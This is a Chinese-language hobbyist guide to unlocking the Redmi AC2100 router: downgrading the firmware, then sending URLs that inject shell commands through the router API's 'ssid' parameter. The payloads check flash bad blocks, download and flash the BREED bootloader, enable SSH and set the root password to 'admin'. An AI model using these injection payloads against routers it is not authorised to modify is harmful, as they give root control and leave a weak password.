Redmi Ac2100 firmware

需要降级固件

分享链接：https://heiya.ga/#s/7lFr6cjg
访问密码：Chgua

下载完成后进入后台 192.168.31.1->常用设置->系统状态->手动升级
加载固件，可以保留数据->开始升级

开始刷机

确保路由器有网络
进入后台192.168.31.1，复制自己的stok
用复制的stok替换掉下面代码中的CCCCCCCCCCC
复制修改好stok的代码，粘贴到浏览器，回车。(浏览器会显示 : {“code”:0} ). 如果显示其他代码，可能是你还没降级固件或者stok过期。也可以恢复出厂从试。

查看stok的方法

查看坏块的代码

运行代码后，你路由器的2.4g WiFi名称会改名成：比如 “ESMT”，”Toshiba”，”Toshiba 90 768″。 90和768是坏块。如果ESMT或者Toshiba后面没数字，那恭喜你，没有坏块！！！

http://192.168.31.1/cgi-bin/luci/;stok=CCCCCCCCCCC/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0A%5B%20-z%20%22%24(dmesg%20%7C%20grep%20ESMT)%22%20%5D%20%26%26%20B%3D%22Toshiba%22%20%7C%7C%20B%3D%22ESMT%22%0Auci%20set%20wireless.%24(uci%20show%20wireless%20%7C%20awk%20-F%20'.'%20'%2Fwl1%2F%20%7Bprint%20%242%7D').ssid%3D%22%24B%20%24(dmesg%20%7C%20awk%20'%2FBad%2F%20%7Bprint%20%245%7D')%22%0A%2Fetc%2Finit.d%2Fnetwork%20restart%0A

刷BREED的代码

如果路由器在60秒内重启则代表刷BREED成功(灯会从蓝变橘，最终变蓝进入系统)。成功后拔掉电源，按住reset同时接上电源等10秒即可进入breed。192.168.1.1

刷完后可能无法进入原厂系统，进BREED删变量：normal_firmware_md5
（更改环境变量，编缉,新增字段”xiaomi.r3g.bootfw”,值设置为 2,然后保存。为了刷其他系统）

http://192.168.31.1/cgi-bin/luci/;stok=CCCCCCCCCCC/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=%0Acd%20%2Ftmp%0Acurl%20-o%20B%20-O%20https%3A%2F%2Fbreed.hackpascal.net%2Fbreed-mt7621-xiaomi-r3g.bin%20-k%0A%5B%20-z%20%22%24(sha256sum%20B%20%7C%20grep%20242d42eb5f5aaa67ddc9c1baf1acdf58d289e3f792adfdd77b589b9dc71eff85)%22%20%5D%20%7C%7C%20mtd%20-r%20write%20B%20Bootloader%0A

只是开启SSH

1.运行代码，重启即可开启SSH还需要得到root密码

http://192.168.31.1/cgi-bin/luci/;stok=CCCCCCCCCCC/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B

2.修改root密码为 admin

http://192.168.31.1/cgi-bin/luci/;stok=CCCCCCCCCCC/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B

3.在SSH里面刷BREED

cd /tmp && wget https://breed.hackpascal.net/breed-mt7621-xiaomi-r3g.bin && mtd -r write breed-mt7621-xiaomi-r3g.bin Bootloader